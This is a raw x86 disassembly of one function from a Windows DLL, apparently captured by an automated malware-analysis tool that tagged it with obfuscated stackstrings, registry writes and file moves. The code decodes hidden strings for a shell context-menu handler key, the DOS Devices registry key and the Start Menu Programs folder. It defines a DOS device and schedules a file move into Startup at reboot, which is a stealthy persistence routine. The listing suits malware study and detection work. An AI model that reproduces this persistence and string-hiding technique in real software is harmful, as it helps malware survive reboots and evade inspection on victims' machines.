Function at 0x10001144
Capabilities:
Contain obfuscated stackstrings
Get common file path
Move file
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc28
mov eax, dword [0x100200b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
xor ebx, ebx
push ebx
mov dword [ebp - 0xc28], eax
lea eax, [ebp - 0xc24]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str..qwq1
mov esi, SysReAllocString
push esi
call edi
test eax, eax
je 0x1000119f
push str.error1_n
call fcn.1000b7e4
pop ecx
xor eax, eax
jmp 0x10001663
push 0xa
push 0x1001a5d4
push 1
push ebx
push ebx
push dword [ebp - 0xc24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x100011cd
push dword [ebp - 0xc24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.error2_n
jmp 0x10001192
push ebx
lea eax, [ebp - 0xc24]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push 0x1001a5d4
push esi
call edi
test eax, eax
je 0x100011f1
push str.error3_n
jmp 0x10001192
push 0xb8
lea eax, [ebp - 0xbd]
push ebx
push eax
mov dword [ebp - 0x104], 0x5c515751
mov dword [ebp - 0x100], 0x6c656853
mov dword [ebp - 0xfc], 0x5c78456c
mov dword [ebp - 0xf8], 0x746e6f43
mov dword [ebp - 0xf4], 0x4d747865
mov dword [ebp - 0xf0], 0x48756e65
mov dword [ebp - 0xec], 0x6c646e61
mov dword [ebp - 0xe8], 0x5c737265
mov dword [ebp - 0xe4], 0x3030307b
mov dword [ebp - 0xe0], 0x30343132
mov dword [ebp - 0xdc], 0x30302d31
mov dword [ebp - 0xd8], 0x302d3030
mov dword [ebp - 0xd4], 0x2d303030
mov dword [ebp - 0xd0], 0x30303043
mov dword [ebp - 0xcc], 0x3030302d
mov dword [ebp - 0xc8], 0x30303030
mov dword [ebp - 0xc4], 0x34303030
mov word [ebp - 0xc0], 0x7d36
mov byte [ebp - 0xbe], bl
call fcn.1000cce0
add esp, 0xc
push ebx
lea eax, [ebp - 0xc24]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
lea eax, [ebp - 0x104]
push eax
push esi
call edi
test eax, eax
je 0x100012e8
push str.error4_n
jmp 0x10001192
push dword [ebp - 0xc24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x1a
lea eax, [ebp - 0xc20]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0xfe
lea eax, [ebp - 0x503]
push ebx
push eax
mov byte [ebp - 0x504], bl
call fcn.1000cce0
lea edi, [ebp - 0x504]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10001327
mov esi, str._sMic
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x504]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000133f
mov esi, str.rosoftWind
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x504]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10001356
mov esi, str.owsSt
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x504]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000136e
mov esi, str.art_Me
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x504]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10001386
mov esi, str.nuPro
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x504]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000139e
lea eax, [ebp - 0xc20]
push eax
mov esi, str.grams
lea eax, [ebp - 0x504]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x810]
push eax
movsw word es:[edi], word [esi]
call fcn.1000ad50
push 0xc2
lea eax, [ebp - 0x1c7]
push ebx
push eax
mov dword [ebp - 0x204], 0x54535953
mov dword [ebp - 0x200], 0x435c4d45
mov dword [ebp - 0x1fc], 0x65727275
mov dword [ebp - 0x1f8], 0x6f43746e
mov dword [ebp - 0x1f4], 0x6f72746e
mov dword [ebp - 0x1f0], 0x7465536c
mov dword [ebp - 0x1ec], 0x6e6f435c
mov dword [ebp - 0x1e8], 0x6c6f7274
mov dword [ebp - 0x1e4], 0x7365535c
mov dword [ebp - 0x1e0], 0x6e6f6973
mov dword [ebp - 0x1dc], 0x6e614d20
mov dword [ebp - 0x1d8], 0x72656761
mov dword [ebp - 0x1d4], 0x534f445c
mov dword [ebp - 0x1d0], 0x76654420
mov dword [ebp - 0x1cc], 0x73656369
mov byte [ebp - 0x1c8], bl
call fcn.1000cce0
add esp, 0x18
push ebx
lea eax, [ebp - 0xc24]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
lea eax, [ebp - 0x204]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100012de
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x914]
push str.___s
push eax
call fcn.1000ad50
lea eax, [ebp - 0x914]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100014c8
sub eax, edx
push eax
lea eax, [ebp - 0x914]
push eax
push 1
push ebx
mov esi, 0x1001a62c
push esi
push dword [ebp - 0xc24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100011ba
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0xb1c]
push str.GLOBAL___s
push eax
call fcn.1000ad50
add esp, 0xc
lea eax, [ebp - 0xb1c]
push eax
push esi
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
mov esi, 0xf5
push esi
lea eax, [ebp - 0x3fa]
push ebx
push eax
mov dword [ebp - 0x404], 0x315c7325
mov dword [ebp - 0x400], 0x7177712e
mov word [ebp - 0x3fc], 0x31
call fcn.1000cce0
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0xa18]
push eax
call fcn.1000ad50
mov ebx, dword [ebp - 0xc28]
lea eax, [ebp - 0xa18]
push eax
xor edi, edi
call fcn.10001030
push esi
xor ebx, ebx
lea eax, [ebp - 0x2fa]
push ebx
push eax
mov dword [ebp - 0x304], 0x315c3a5b
mov dword [ebp - 0x300], 0x7177712e
mov word [ebp - 0x2fc], 0x31
call fcn.1000cce0
add esi, 0xe
push esi
lea eax, [ebp - 0x607]
push ebx
push eax
mov byte [ebp - 0x608], bl
call fcn.1000cce0
add esp, 0x34
xor eax, eax
mov cl, byte [ebp + eax - 0x304]
mov byte [ebp + eax - 0x608], cl
inc eax
cmp cl, bl
jne 0x100015c8
push 0xed
lea eax, [ebp - 0x2f2]
push ebx
push eax
mov dword [ebp - 0x304], 0x535c3a5b
mov dword [ebp - 0x300], 0x74726174
mov dword [ebp - 0x2fc], 0x315c7075
mov dword [ebp - 0x2f8], 0x7177712e
mov word [ebp - 0x2f4], 0x31
call fcn.1000cce0
push esi
lea eax, [ebp - 0x70b]
push ebx
push eax
mov byte [ebp - 0x70c], bl
call fcn.1000cce0
add esp, 0x18
xor eax, eax
mov cl, byte [ebp + eax - 0x304]
mov byte [ebp + eax - 0x70c], cl
inc eax
cmp cl, bl
jne 0x10001637
push 4
lea eax, [ebp - 0x70c]
push eax
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ad41
leave
ret